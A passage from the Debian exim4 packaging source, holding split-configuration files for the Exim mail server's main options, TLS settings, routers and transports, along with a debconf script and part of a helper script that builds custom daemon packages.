leading to delays on starting up SMTP sessions. (The default was # reduced from 30s to 5s for release 4.61.) # rfc1413_hosts = * # rfc1413_query_timeout = 5s # When using an external relay tester (such as rt.njabl.org and/or the # currently defunct relay-test.mail-abuse.org, the test may be aborted # since exim complains about "too many nonmail commands". If you want # the test to complete, add the host from where "your" relay tester # connects from to the MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS macro. # Please note that a non-empty setting may cause extra DNS lookups to # happen, which is the reason why this option is commented out in the # default settings. # MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS = !rt.njabl.org .ifdef MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS smtp_accept_max_nonmail_hosts = MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS .endif # By default, exim forces a Sender: header containing the local # account name at the local host name in all locally submitted messages # that don't have the local account name at the local host name in the # From: header, deletes any Sender: header present in the submitted # message and forces the envelope sender of all locally submitted # messages to the local account name at the local host name. # The following settings allow local users to specify their own envelope sender # in a locally submitted message. Sender: headers existing in a locally # submitted message are not removed, and no automatic Sender: headers # are added. These settings are fine for most hosts. # If you run exim on a classical multi-user systems where all users # have local mailboxes that can be reached via SMTP from the Internet # with the local FQDN as the domain part of the address, you might want # to disable the following three lines for traceability reasons. .ifndef MAIN_FORCE_SENDER local_from_check = false local_sender_retain = true untrusted_set_sender = * .endif # By default, Exim expects all envelope addresses to be fully qualified, that # is, they must contain both a local part and a domain. Configure exim # to accept unqualified addresses from certain hosts. When this is done, # unqualified addresses are qualified using the settings of qualify_domain # and/or qualify_recipient (see above). # sender_unqualified_hosts = # recipient_unqualified_hosts = # Configure Exim to support the "percent hack" for certain domains. # The "percent hack" is the feature by which mail addressed to x%y@z # (where z is one of the domains listed) is locally rerouted to x@y # and sent on. If z is not one of the "percent hack" domains, x%y is # treated as an ordinary local part. The percent hack is rarely needed # nowadays but frequently abused. You should not enable it unless you # are sure that you really need it. # percent_hack_domains = # Bounce handling .ifndef MAIN_IGNORE_BOUNCE_ERRORS_AFTER MAIN_IGNORE_BOUNCE_ERRORS_AFTER = 2d .endif ignore_bounce_errors_after = MAIN_IGNORE_BOUNCE_ERRORS_AFTER .ifndef MAIN_TIMEOUT_FROZEN_AFTER MAIN_TIMEOUT_FROZEN_AFTER = 7d .endif timeout_frozen_after = MAIN_TIMEOUT_FROZEN_AFTER .ifndef MAIN_FREEZE_TELL MAIN_FREEZE_TELL = postmaster .endif freeze_tell = MAIN_FREEZE_TELL # Define spool directory .ifndef SPOOLDIR SPOOLDIR = /var/spool/exim4 .endif spool_directory = SPOOLDIR # trusted users can set envelope-from to arbitrary values .ifndef MAIN_TRUSTED_USERS MAIN_TRUSTED_USERS = uucp .endif trusted_users = MAIN_TRUSTED_USERS .ifdef MAIN_TRUSTED_GROUPS trusted_groups = MAIN_TRUSTED_GROUPS .endif # users in admin group can do many other things # admin_groups = # SMTP Banner. The example includes the Debian version in the SMTP dialog # MAIN_SMTP_BANNER = "${primary_hostname} ESMTP Exim ${version_number} (Debian package MAIN_PACKAGE_VERSION) ${tod_full}" # smtp_banner = $smtp_active_hostname ESMTP Exim $version_number $tod_full .ifdef MAIN_KEEP_ENVIRONMENT keep_environment = MAIN_KEEP_ENVIRONMENT .else # set option to empty value to avoid warning. keep_environment = .endif .ifdef MAIN_ADD_ENVIRONMENT add_environment = MAIN_ADD_ENVIRONMENT .endif debian/debconf/conf.d/main/03_exim4-config_tlsoptions0000644000000000000000000000616312027557533017714 0ustar ### main/03_exim4-config_tlsoptions ################################# # TLS/SSL configuration for exim as an SMTP server. # See /usr/share/doc/exim4-base/README.Debian.gz for explanations. .ifdef MAIN_TLS_ENABLE # Defines what hosts to 'advertise' STARTTLS functionality to. The # default, *, will advertise to all hosts that connect with EHLO. .ifndef MAIN_TLS_ADVERTISE_HOSTS MAIN_TLS_ADVERTISE_HOSTS = * .endif tls_advertise_hosts = MAIN_TLS_ADVERTISE_HOSTS # Full paths to Certificate and Private Key. The Private Key file # must be kept 'secret' and should be owned by root.Debian-exim mode # 640 (-rw-r-----). exim-gencert takes care of these prerequisites. # Normally, exim4 looks for certificate and key in different files: # MAIN_TLS_CERTIFICATE - path to certificate file, # CONFDIR/exim.crt if unset # MAIN_TLS_PRIVATEKEY - path to private key file # CONFDIR/exim.key if unset # You can also configure exim to look for certificate and key in the # same file, set MAIN_TLS_CERTKEY to that file to enable. This takes # precedence over all other settings regarding certificate and key file. .ifdef MAIN_TLS_CERTKEY tls_certificate = MAIN_TLS_CERTKEY .else .ifndef MAIN_TLS_CERTIFICATE MAIN_TLS_CERTIFICATE = CONFDIR/exim.crt .endif tls_certificate = MAIN_TLS_CERTIFICATE .ifndef MAIN_TLS_PRIVATEKEY MAIN_TLS_PRIVATEKEY = CONFDIR/exim.key .endif tls_privatekey = MAIN_TLS_PRIVATEKEY .endif # Pointer to the CA Certificates against which client certificates are # checked. This is controlled by the `tls_verify_hosts' and # `tls_try_verify_hosts' lists below. # If you want to check server certificates, you need to add an # tls_verify_certificates statement to the smtp transport. # /etc/ssl/certs/ca-certificates.crt is generated by # the "ca-certificates" package's update-ca-certificates(8) command. .ifndef MAIN_TLS_VERIFY_CERTIFICATES MAIN_TLS_VERIFY_CERTIFICATES = ${if exists{/etc/ssl/certs/ca-certificates.crt}\ {/etc/ssl/certs/ca-certificates.crt}\ {/dev/null}} .endif tls_verify_certificates = MAIN_TLS_VERIFY_CERTIFICATES # A list of hosts which are constrained by `tls_verify_certificates'. A host # that matches `tls_verify_host' must present a certificate that is # verifyable through `tls_verify_certificates' in order to be accepted as an # SMTP client. If it does not, the connection is aborted. .ifdef MAIN_TLS_VERIFY_HOSTS tls_verify_hosts = MAIN_TLS_VERIFY_HOSTS .endif # A weaker form of checking: if a client matches `tls_try_verify_hosts' (but # not `tls_verify_hosts'), request a certificate and check it against # `tls_verify_certificates' but do not abort the connection if there is no # certificate or if the certificate presented does not match. (This # condition can be tested for in ACLs through `verify = certificate') # By default, this check is done for all hosts. It is known that some # clients (including incredimail's version downloadable in February # 2008) choke on this. To disable, set MAIN_TLS_TRY_VERIFY_HOSTS to an # empty value. .ifdef MAIN_TLS_TRY_VERIFY_HOSTS tls_try_verify_hosts = MAIN_TLS_TRY_VERIFY_HOSTS .endif .endif debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs0000644000000000000000000000716612027557533020522 0ustar ###################################################################### # Runtime configuration file for Exim 4 (Debian Packaging) # ###################################################################### ###################################################################### # /etc/exim4/exim4.conf.template is only used with the non-split # configuration scheme. # /etc/exim4/conf.d/main/01_exim4-config_listmacrosdefs is only used # with the split configuration scheme. # If you find this comment anywhere else, somebody copied it there. # Documentation about the Debian exim4 configuration scheme can be # found in /usr/share/doc/exim4-base/README.Debian.gz. ###################################################################### ###################################################################### # MAIN CONFIGURATION SETTINGS # ###################################################################### # Just for reference and scripts. # On Debian systems, the main binary is installed as exim4 to avoid # conflicts with the exim 3 packages. exim_path = /usr/sbin/exim4 # Macro defining the main configuration directory. # We do not use absolute paths. .ifndef CONFDIR CONFDIR = /etc/exim4 .endif # debconf-driven macro definitions get inserted after this line UPEX4CmacrosUPEX4C = 1 # Create domain and host lists for relay control # '@' refers to 'the name of the local host' # List of domains considered local for exim. Domains not listed here # need to be deliverable remotely. domainlist local_domains = MAIN_LOCAL_DOMAINS # List of recipient domains to relay _to_. Use this list if you're - # for example - fallback MX or mail gateway for domains. domainlist relay_to_domains = MAIN_RELAY_TO_DOMAINS # List of sender networks (IP addresses) to _unconditionally_ relay # _for_. If you intend to be SMTP AUTH server, you do not need to enter # anything here. hostlist relay_from_hosts = MAIN_RELAY_NETS # Decide which domain to use to add to all unqualified addresses. # If MAIN_PRIMARY_HOSTNAME_AS_QUALIFY_DOMAIN is defined, the primary # hostname is used. If not, but MAIN_QUALIFY_DOMAIN is set, the value # of MAIN_QUALIFY_DOMAIN is used. If both macros are not defined, # the first line of /etc/mailname is used. .ifndef MAIN_PRIMARY_HOSTNAME_AS_QUALIFY_DOMAIN .ifndef MAIN_QUALIFY_DOMAIN qualify_domain = ETC_MAILNAME .else qualify_domain = MAIN_QUALIFY_DOMAIN .endif .endif # listen on all all interfaces? .ifdef MAIN_LOCAL_INTERFACES local_interfaces = MAIN_LOCAL_INTERFACES .endif .ifndef LOCAL_DELIVERY # The default transport, set in /etc/exim4/update-exim4.conf.conf, # defaulting to mail_spool. See CONFDIR/conf.d/transport/ for possibilities LOCAL_DELIVERY=mail_spool .endif # The gecos field in /etc/passwd holds not only the name. see passwd(5). gecos_pattern = ^([^,:]*) gecos_name = $1 # define macros to be used in acl/30_exim4-config_check_rcpt to check # recipient local parts for strange characters. # This macro definition really should be in # acl/30_exim4-config_check_rcpt but cannot be there due to # http://www.exim.org/bugzilla/show_bug.cgi?id=101 as of exim 4.62. # These macros are documented in acl/30_exim4-config_check_rcpt, # can be changed here or overridden by a locally added configuration # file as described in README.Debian chapter 2.1.2 .ifndef CHECK_RCPT_LOCAL_LOCALPARTS CHECK_RCPT_LOCAL_LOCALPARTS = ^[.] : ^.*[@%!/|`#&?] .endif .ifndef CHECK_RCPT_REMOTE_LOCALPARTS CHECK_RCPT_REMOTE_LOCALPARTS = ^[./|] : ^.*[@%!`#&?] : ^.*/\\.\\./ .endif # always log tls_peerdn as we use TLS for outgoing connects by default .ifndef MAIN_LOG_SELECTOR MAIN_LOG_SELECTOR = +tls_peerdn .endif debian/debconf/conf.d/router/0000755000000000000000000000000012200230010013231 5ustar debian/debconf/conf.d/router/850_exim4-config_lowuid0000644000000000000000000000161312027557533017462 0ustar ### router/850_exim4-config_lowuid ################################# .ifndef FIRST_USER_ACCOUNT_UID FIRST_USER_ACCOUNT_UID = 0 .endif .ifndef DEFAULT_SYSTEM_ACCOUNT_ALIAS DEFAULT_SYSTEM_ACCOUNT_ALIAS = :fail: no mail to system accounts .endif COND_SYSTEM_USER_AND_REMOTE_SUBMITTER = "\ ${if and{{! match_ip{$sender_host_address}{:@[]}}\ {<{$local_user_uid}{FIRST_USER_ACCOUNT_UID}}}\ {1}{0}\ }" lowuid_aliases: debug_print = "R: lowuid_aliases for $local_part@$domain (UID $local_user_uid)" check_local_user driver = redirect allow_fail domains = +local_domains condition = COND_SYSTEM_USER_AND_REMOTE_SUBMITTER data = ${if exists{CONFDIR/lowuid-aliases}\ {${lookup{$local_part}lsearch{CONFDIR/lowuid-aliases}\ {$value}{DEFAULT_SYSTEM_ACCOUNT_ALIAS}}}\ {DEFAULT_SYSTEM_ACCOUNT_ALIAS}} debian/debconf/conf.d/router/100_exim4-config_domain_literal0000644000000000000000000000121012027557533021117 0ustar ### router/100_exim4-config_domain_literal ################################# # This router handles e-mail addresses in "domain literal" form like # . The RFCs require this facility, but it is disabled # in the default config since it is seldomly used and frequently abused. # Domain literal support also needs to be enabled in the main config, # which is automatically done if you use the enable macro # MAIN_ALLOW_DOMAIN_LITERALS. .ifdef MAIN_ALLOW_DOMAIN_LITERALS domain_literal: debug_print = "R: domain_literal for $local_part@$domain" driver = ipliteral domains = ! +local_domains transport = remote_smtp .endif debian/debconf/conf.d/router/mmm_mail4root0000644000000000000000000000073012027557533015771 0ustar ### router/mmm_mail4root ################################# # deliver mail addressed to root to /var/mail/mail as user mail:mail # if it was not redirected in /etc/aliases or by other means # Exim cannot deliver as root since 4.24 (FIXED_NEVER_USERS) mail4root: debug_print = "R: mail4root for $local_part@$domain" driver = redirect domains = +local_domains data = /var/mail/mail file_transport = address_file local_parts = root user = mail group = mail debian/debconf/conf.d/router/00_exim4-config_header0000644000000000000000000000100212027557533017302 0ustar ###################################################################### # ROUTERS CONFIGURATION # # Specifies how addresses are handled # ###################################################################### # THE ORDER IN WHICH THE ROUTERS ARE DEFINED IS IMPORTANT! # # An address is passed to each router in turn until it is accepted. # ###################################################################### begin routers debian/debconf/conf.d/router/400_exim4-config_system_aliases0000644000000000000000000000307212027557533021174 0ustar ### router/400_exim4-config_system_aliases ################################# # This router handles aliasing using a traditional /etc/aliases file. # ##### NB You must ensure that /etc/aliases exists. It used to be the case ##### NB that every Unix had that file, because it was the Sendmail default. ##### NB These days, there are systems that don't have it. Your aliases ##### NB file should at least contain an alias for "postmaster". # # This router handles the local part in a case-insensitive way which # satisfies the RFCs requirement that postmaster be reachable regardless # of case. If you decide to handle /etc/aliases in a caseful way, you # need to make arrangements for a caseless postmaster. # # Delivery to arbitrary directories, files, and piping to programs in # /etc/aliases is disabled per default. # If that is a problem for you, see # /usr/share/doc/exim4-base/README.Debian.gz # for explanation and some workarounds. system_aliases: debug_print = "R: system_aliases for $local_part@$domain" driver = redirect domains = +local_domains allow_fail allow_defer data = ${lookup{$local_part}lsearch{/etc/aliases}} .ifdef SYSTEM_ALIASES_USER user = SYSTEM_ALIASES_USER .endif .ifdef SYSTEM_ALIASES_GROUP group = SYSTEM_ALIASES_GROUP .endif .ifdef SYSTEM_ALIASES_FILE_TRANSPORT file_transport = SYSTEM_ALIASES_FILE_TRANSPORT .endif .ifdef SYSTEM_ALIASES_PIPE_TRANSPORT pipe_transport = SYSTEM_ALIASES_PIPE_TRANSPORT .endif .ifdef SYSTEM_ALIASES_DIRECTORY_TRANSPORT directory_transport = SYSTEM_ALIASES_DIRECTORY_TRANSPORT .endif debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts0000644000000000000000000000105412027557533020620 0ustar # router/150_exim4-config_hubbed_hosts ################################# # route specific domains manually. # # see exim4-config_files(5) and spec.txt chapter 20.3 through 20.7 for # more detailed documentation. hubbed_hosts: debug_print = "R: hubbed_hosts for $domain" driver = manualroute domains = "${if exists{CONFDIR/hubbed_hosts}\ {partial-lsearch;CONFDIR/hubbed_hosts}\ fail}" same_domain_copy_routing = yes route_data = ${lookup{$domain}partial-lsearch{CONFDIR/hubbed_hosts}} transport = remote_smtp debian/debconf/conf.d/router/500_exim4-config_hubuser0000644000000000000000000000155712200230010017576 0ustar ### router/500_exim4-config_hubuser ################################# .ifdef DCconfig_satellite # This router is only used for configtype=satellite. # It takes care to route all mail targetted to # to the host where we read our mail # hub_user: debug_print = "R: hub_user for $local_part@$domain" driver = redirect domains = +local_domains data = ${local_part}@DCreadhost check_local_user # Grab the redirected mail and deliver it. # This is a duplicate of the smarthost router, needed because # DCreadhost might end up as part of +local_domains hub_user_smarthost: debug_print = "R: hub_user_smarthost for $local_part@$domain" driver = manualroute domains = DCreadhost transport = remote_smtp_smarthost route_list = * DCsmarthost byname host_find_failed = ignore same_domain_copy_routing = yes check_local_user .endif debian/debconf/conf.d/router/300_exim4-config_real_local0000644000000000000000000000113712027557533020243 0ustar ### router/300_exim4-config_real_local ################################# # This router allows reaching a local user while avoiding local # processing. This can be used to inform a user of a broken .forward # file, for example. The userforward router does this. COND_LOCAL_SUBMITTER = "\ ${if match_ip{$sender_host_address}{:@[]}\ {1}{0}\ }" real_local: debug_print = "R: real_local for $local_part@$domain" driver = accept domains = +local_domains condition = COND_LOCAL_SUBMITTER local_part_prefix = real- check_local_user transport = LOCAL_DELIVERY debian/debconf/conf.d/router/200_exim4-config_primary0000644000000000000000000000563712200230010017604 0ustar ### router/200_exim4-config_primary ################################# # This file holds the primary router, responsible for nonlocal mails .ifdef DCconfig_internet # configtype=internet # # deliver mail to the recipient if recipient domain is a domain we # relay for. We do not ignore any target hosts here since delivering to # a site local or even a link local address might be wanted here, and if # such an address has found its way into the MX record of such a domain, # the local admin is probably in a place where that broken MX record # could be fixed. dnslookup_relay_to_domains: debug_print = "R: dnslookup_relay_to_domains for $local_part@$domain" driver = dnslookup domains = ! +local_domains : +relay_to_domains transport = remote_smtp same_domain_copy_routing = yes no_more # deliver mail directly to the recipient. This router is only reached # for domains that we do not relay for. Since we most probably can't # have broken MX records pointing to site local or link local IP # addresses fixed, we ignore target hosts pointing to these addresses. dnslookup: debug_print = "R: dnslookup for $local_part@$domain" driver = dnslookup domains = ! +local_domains transport = remote_smtp same_domain_copy_routing = yes # ignore private rfc1918 and APIPA addresses ignore_target_hosts = 0.0.0.0 : 127.0.0.0/8 : 192.168.0.0/16 :\ 172.16.0.0/12 : 10.0.0.0/8 : 169.254.0.0/16 :\ 255.255.255.255 no_more .endif .ifdef DCconfig_local # configtype=local # # Stand-alone system, so generate an error for mail to a non-local domain nonlocal: debug_print = "R: nonlocal for $local_part@$domain" driver = redirect domains = ! +local_domains allow_fail data = :fail: Mailing to remote domains not supported no_more .endif .ifdef DCconfig_smarthost DCconfig_satellite # configtype=smarthost or configtype=satellite # # Send all non-local mail to a single other machine (smarthost). # # This means _ALL_ non-local mail goes to the smarthost. This will most # probably not do what you want for domains that are listed in # relay_domains. The most typical use for relay_domains is to control # relaying for incoming e-mail on secondary MX hosts. In that case, # it doesn't make sense to send the mail to the smarthost since the # smarthost will probably send the message right back here, causing a # loop. # # If you want to use a smarthost while being secondary MX for some # domains, you'll need to copy the dnslookup_relay_to_domains router # here so that mail to relay_domains is handled separately. smarthost: debug_print = "R: smarthost for $local_part@$domain" driver = manualroute domains = ! +local_domains transport = remote_smtp_smarthost route_list = * DCsmarthost byname host_find_failed = ignore same_domain_copy_routing = yes no_more .endif # The "no_more" above means that all later routers are for # domains in the local_domains list, i.e. just like Exim 3 directors. debian/debconf/conf.d/router/600_exim4-config_userforward0000644000000000000000000000407012027557533020513 0ustar ### router/600_exim4-config_userforward ################################# # This router handles forwarding using traditional .forward files in users' # home directories. It also allows mail filtering with a forward file # starting with the string "# Exim filter" or "# Sieve filter". # # The no_verify setting means that this router is skipped when Exim is # verifying addresses. Similarly, no_expn means that this router is skipped if # Exim is processing an EXPN command. # # The check_ancestor option means that if the forward file generates an # address that is an ancestor of the current one, the current one gets # passed on instead. This covers the case where A is aliased to B and B # has a .forward file pointing to A. # # The four transports specified at the end are those that are used when # forwarding generates a direct delivery to a directory, or a file, or to a # pipe, or sets up an auto-reply, respectively. # userforward: debug_print = "R: userforward for $local_part@$domain" driver = redirect domains = +local_domains check_local_user file = $home/.forward require_files = $local_part:$home/.forward no_verify no_expn check_ancestor allow_filter forbid_smtp_code = true directory_transport = address_directory file_transport = address_file pipe_transport = address_pipe reply_transport = address_reply skip_syntax_errors syntax_errors_to = real-$local_part@$domain syntax_errors_text = \ This is an automatically generated message. An error has\n\ been found in your .forward file. Details of the error are\n\ reported below. While this error persists, you will receive\n\ a copy of this message for every message that is addressed\n\ to you. If your .forward file is a filter file, or if it is\n\ a non-filter file containing no valid forwarding addresses,\n\ a copy of each incoming message will be put in your normal\n\ mailbox. If a non-filter file contains at least one valid\n\ forwarding address, forwarding to the valid addresses will\n\ happen, and those will be the only deliveries that occur. debian/debconf/conf.d/router/900_exim4-config_local_user0000644000000000000000000000062212027557533020302 0ustar ### router/900_exim4-config_local_user ################################# # This router matches local user mailboxes. If the router fails, the error # message is "Unknown user". local_user: debug_print = "R: local_user for $local_part@$domain" driver = accept domains = +local_domains check_local_user local_parts = ! root transport = LOCAL_DELIVERY cannot_route_message = Unknown user debian/debconf/conf.d/router/700_exim4-config_procmail0000644000000000000000000000062312027557533017757 0ustar procmail: debug_print = "R: procmail for $local_part@$domain" driver = accept domains = +local_domains check_local_user transport = procmail_pipe # emulate OR with "if exists"-expansion require_files = ${local_part}:\ ${if exists{/etc/procmailrc}\ {/etc/procmailrc}{${home}/.procmailrc}}:\ +/usr/bin/procmail no_verify no_expn debian/debconf/conf.d/router/800_exim4-config_maildrop0000644000000000000000000000050312027557533017756 0ustar ### router/800_exim4-config_maildrop ################################# maildrop: debug_print = "R: maildrop for $local_part@$domain" driver = accept domains = +local_domains check_local_user transport = maildrop_pipe require_files = ${local_part}:${home}/.mailfilter:+/usr/bin/maildrop no_verify no_expn debian/debconf/conf.d/transport/0000755000000000000000000000000012245437403013775 5ustar debian/debconf/conf.d/transport/30_exim4-config_address_pipe0000644000000000000000000000055512027557533021247 0ustar # This transport is used for handling pipe deliveries generated by # .forward files. If the commands fails and produces any output on standard # output or standard error streams, the output is returned to the sender # of the message as a delivery error. address_pipe: debug_print = "T: address_pipe for $local_part@$domain" driver = pipe return_fail_output debian/debconf/conf.d/transport/30_exim4-config_maildir_home0000644000000000000000000000224212027557533021231 0ustar ### transport/30_exim4-config_maildir_home ################################# # Use this instead of mail_spool if you want to to deliver to Maildir in # home-directory - change the definition of LOCAL_DELIVERY # maildir_home: debug_print = "T: maildir_home for $local_part@$domain" driver = appendfile .ifdef MAILDIR_HOME_MAILDIR_LOCATION directory = MAILDIR_HOME_MAILDIR_LOCATION .else directory = $home/Maildir .endif .ifdef MAILDIR_HOME_CREATE_DIRECTORY create_directory .endif .ifdef MAILDIR_HOME_CREATE_FILE create_file = MAILDIR_HOME_CREATE_FILE .endif delivery_date_add envelope_to_add return_path_add maildir_format .ifdef MAILDIR_HOME_DIRECTORY_MODE directory_mode = MAILDIR_HOME_DIRECTORY_MODE .else directory_mode = 0700 .endif .ifdef MAILDIR_HOME_MODE mode = MAILDIR_HOME_MODE .else mode = 0600 .endif mode_fail_narrower = false # This transport always chdirs to $home before trying to deliver. If # $home is not accessible, this chdir fails and prevents delivery. # If you are in a setup where home directories might not be # accessible, uncomment the current_directory line below. # current_directory = / debian/debconf/conf.d/transport/30_exim4-config_remote_smtp0000644000000000000000000000216512245437403021135 0ustar ### transport/30_exim4-config_remote_smtp ################################# # This transport is used for delivering messages over SMTP connections. remote_smtp: debug_print = "T: remote_smtp for $local_part@$domain" driver = smtp .ifdef REMOTE_SMTP_HOSTS_AVOID_TLS hosts_avoid_tls = REMOTE_SMTP_HOSTS_AVOID_TLS .endif .ifdef REMOTE_SMTP_HEADERS_REWRITE headers_rewrite = REMOTE_SMTP_HEADERS_REWRITE .endif .ifdef REMOTE_SMTP_RETURN_PATH return_path = REMOTE_SMTP_RETURN_PATH .endif .ifdef REMOTE_SMTP_HELO_DATA helo_data=REMOTE_SMTP_HELO_DATA .endif .ifdef DKIM_DOMAIN dkim_domain = DKIM_DOMAIN .endif .ifdef DKIM_SELECTOR dkim_selector = DKIM_SELECTOR .endif .ifdef DKIM_PRIVATE_KEY dkim_private_key = DKIM_PRIVATE_KEY .endif .ifdef DKIM_CANON dkim_canon = DKIM_CANON .endif .ifdef DKIM_STRICT dkim_strict = DKIM_STRICT .endif .ifdef DKIM_SIGN_HEADERS dkim_sign_headers = DKIM_SIGN_HEADERS .endif .ifdef TLS_DH_MIN_BITS tls_dh_min_bits = TLS_DH_MIN_BITS .endif .ifdef REMOTE_SMTP_TLS_CERTIFICATE tls_certificate = REMOTE_SMTP_TLS_CERTIFICATE .endif .ifdef REMOTE_SMTP_PRIVATEKEY tls_privatekey = REMOTE_SMTP_PRIVATEKEY .endif debian/debconf/conf.d/transport/00_exim4-config_header0000644000000000000000000000104012027557533020020 0ustar ###################################################################### # TRANSPORTS CONFIGURATION # ###################################################################### # ORDER DOES NOT MATTER # # Only one appropriate transport is called for each delivery. # ###################################################################### # A transport is used only when referenced from a router that successfully # handles an address. begin transports debian/debconf/conf.d/transport/30_exim4-config_mail_spool0000644000000000000000000000057412027557533020744 0ustar ### transport/30_exim4-config_mail_spool # This transport is used for local delivery to user mailboxes in traditional # BSD mailbox format. # mail_spool: debug_print = "T: appendfile for $local_part@$domain" driver = appendfile file = /var/mail/$local_part delivery_date_add envelope_to_add return_path_add group = mail mode = 0660 mode_fail_narrower = false debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe0000644000000000000000000000033412027557533021424 0ustar maildrop_pipe: debug_print = "T: maildrop_pipe for $local_part@$domain" driver = pipe path = "/bin:/usr/bin:/usr/local/bin" command = "/usr/bin/maildrop" return_path_add delivery_date_add envelope_to_add debian/debconf/conf.d/transport/10_exim4-config_transport-macros0000644000000000000000000000127612027557533022122 0ustar ### transport/10_exim4-config_transport-macros ################################# .ifdef HIDE_MAILNAME REMOTE_SMTP_HEADERS_REWRITE=*@+local_domains $1@DCreadhost frs : *@ETC_MAILNAME $1@DCreadhost frs REMOTE_SMTP_RETURN_PATH=${if match_domain{$sender_address_domain}{+local_domains}{${sender_address_local_part}@DCreadhost}{${if match_domain{$sender_address_domain}{ETC_MAILNAME}{${sender_address_local_part}@DCreadhost}fail}}} .endif .ifdef REMOTE_SMTP_HELO_FROM_DNS .ifdef REMOTE_SMTP_HELO_DATA REMOTE_SMTP_HELO_DATA==${lookup dnsdb {ptr=$sending_ip_address}{$value}{$primary_hostname}} .else REMOTE_SMTP_HELO_DATA=${lookup dnsdb {ptr=$sending_ip_address}{$value}{$primary_hostname}} .endif .endif debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe0000644000000000000000000000033412027557533021423 0ustar procmail_pipe: debug_print = "T: procmail_pipe for $local_part@$domain" driver = pipe path = "/bin:/usr/bin:/usr/local/bin" command = "/usr/bin/procmail" return_path_add delivery_date_add envelope_to_add debian/debconf/conf.d/transport/30_exim4-config_address_file0000644000000000000000000000041512027557533021224 0ustar # This transport is used for handling deliveries directly to files that are # generated by aliasing or forwarding. # address_file: debug_print = "T: address_file for $local_part@$domain" driver = appendfile delivery_date_add envelope_to_add return_path_add debian/debconf/conf.d/transport/35_exim4-config_address_directory0000644000000000000000000000063612027557533022323 0ustar # This transport is used for handling file addresses generated by alias # or .forward files if the path ends in "/", which causes it to be treated # as a directory name rather than a file name. address_directory: debug_print = "T: address_directory for $local_part@$domain" driver = appendfile delivery_date_add envelope_to_add return_path_add check_string = "" escape_string = "" maildir_format debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost0000644000000000000000000000224212245437403023235 0ustar ### transport/30_exim4-config_remote_smtp_smarthost ################################# # This transport is used for delivering messages over SMTP connections # to a smarthost. The local host tries to authenticate. # This transport is used for smarthost and satellite configurations. remote_smtp_smarthost: debug_print = "T: remote_smtp_smarthost for $local_part@$domain" driver = smtp hosts_try_auth = <; ${if exists{CONFDIR/passwd.client} \ {\ ${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$host_address}}\ }\ {} \ } .ifdef REMOTE_SMTP_SMARTHOST_HOSTS_AVOID_TLS hosts_avoid_tls = REMOTE_SMTP_SMARTHOST_HOSTS_AVOID_TLS .endif .ifdef REMOTE_SMTP_HEADERS_REWRITE headers_rewrite = REMOTE_SMTP_HEADERS_REWRITE .endif .ifdef REMOTE_SMTP_RETURN_PATH return_path = REMOTE_SMTP_RETURN_PATH .endif .ifdef REMOTE_SMTP_HELO_DATA helo_data=REMOTE_SMTP_HELO_DATA .endif .ifdef TLS_DH_MIN_BITS tls_dh_min_bits = TLS_DH_MIN_BITS .endif .ifdef REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE tls_certificate = REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE .endif .ifdef REMOTE_SMTP_SMARTHOST_PRIVATEKEY tls_privatekey = REMOTE_SMTP_SMARTHOST_PRIVATEKEY .endif debian/debconf/conf.d/transport/30_exim4-config_address_reply0000644000000000000000000000032012027557533021433 0ustar # This transport is used for handling autoreplies generated by the filtering # option of the userforward router. # address_reply: debug_print = "T: autoreply for $local_part@$domain" driver = autoreply debian/exim4-base.config0000644000000000000000000000034512027557533012326 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi if [ "reconfigure" = "$1" ]; then db_beginblock db_input low exim4-base/drec || [ "$?" = "30" ] db_go fi debian/watch0000644000000000000000000000012512200230010010171 0ustar version=2 http://ftp.exim.org/pub/exim/exim4/exim-(\d.*)\.(?:tgz|tar\.(?:gz|bz2|xz)) debian/exim4-daemon-custom.docs0000644000000000000000000000002412200230010013607 0ustar EDITME.exim4-custom debian/exim4-config.dirs0000644000000000000000000000015412027557533012353 0ustar /usr/sbin /etc/exim4/conf.d /etc/ppp/ip-up.d /usr/share/doc/exim4-config /usr/share/man/man8 /var/lib/exim4 debian/create-custom-package0000755000000000000000000000442612027557533013277 0ustar #!/bin/bash set -e if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi dh_testdir if [ -z "$(which grep-dctrl)" ] || ! [ -x "$(which grep-dctrl)" ]; then echo >&2 "ERR: no grep-dctrl binary" exit 1 fi fakeroot debian/rules clean if [ -n "$1" ]; then PACKAGESUFFIX="$1" fi #DEBUG=1 dh_testdir cd debian replacepkgname() { sed -e "s/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX/g;\ s/exim4-custom/exim4-$PACKAGESUFFIX/g" } copytextreplace() { FILE="$1" DSTFILE="$2" if [ -z "$DSTFILE" ]; then echo >&2 "no destination file given to copytextreplace $FILE" exit 1 fi [ $DEBUG ] && echo >&2 "DBG: source $FILE" [ $DEBUG ] && echo >&2 "DBG: dst $DSTFILE" if ! [ -e "$DSTFILE" ]; then < $FILE replacepkgname > $DSTFILE chmod --reference=$FILE $DSTFILE else echo >&2 "ERR: can't write to $DSTFILE, file exists" exit 1 fi } NEEDEDFILES="exim4-daemon-custom.* rules control" for file in $NEEDEDFILES; do if ! [ -e $file ]; then echo >&2 "ERR: $file does not exist, not starting" exit 1 fi done # the grep-dctrl|grep construct is necessary on woody, # since woody grep-dctrl does not give sensible return values. if grep-dctrl --field=Package exim4-daemon-$PACKAGESUFFIX control | \ grep -q '^Package:'; then echo >&2 "ERR: there is already a debian/control entry for exim4-daemon-$PACKAGESUFFIX, not starting" exit 1 fi if grep -q exim4-daemon-$PACKAGESUFFIX rules; then echo >&2 "ERR: exim4-daemon-$PACKAGESUFFIX already mentioned in debian/rules, not starting" exit 1 fi for file in exim4-daemon-custom.* ; do copytextreplace $file ${file/exim4-daemon-custom/exim4-daemon-$PACKAGESUFFIX} done echo >> control grep-dctrl --field=Package exim4-daemon-custom control | \ replacepkgname >> control < rules sed "/^builddaemonpackages/ \ 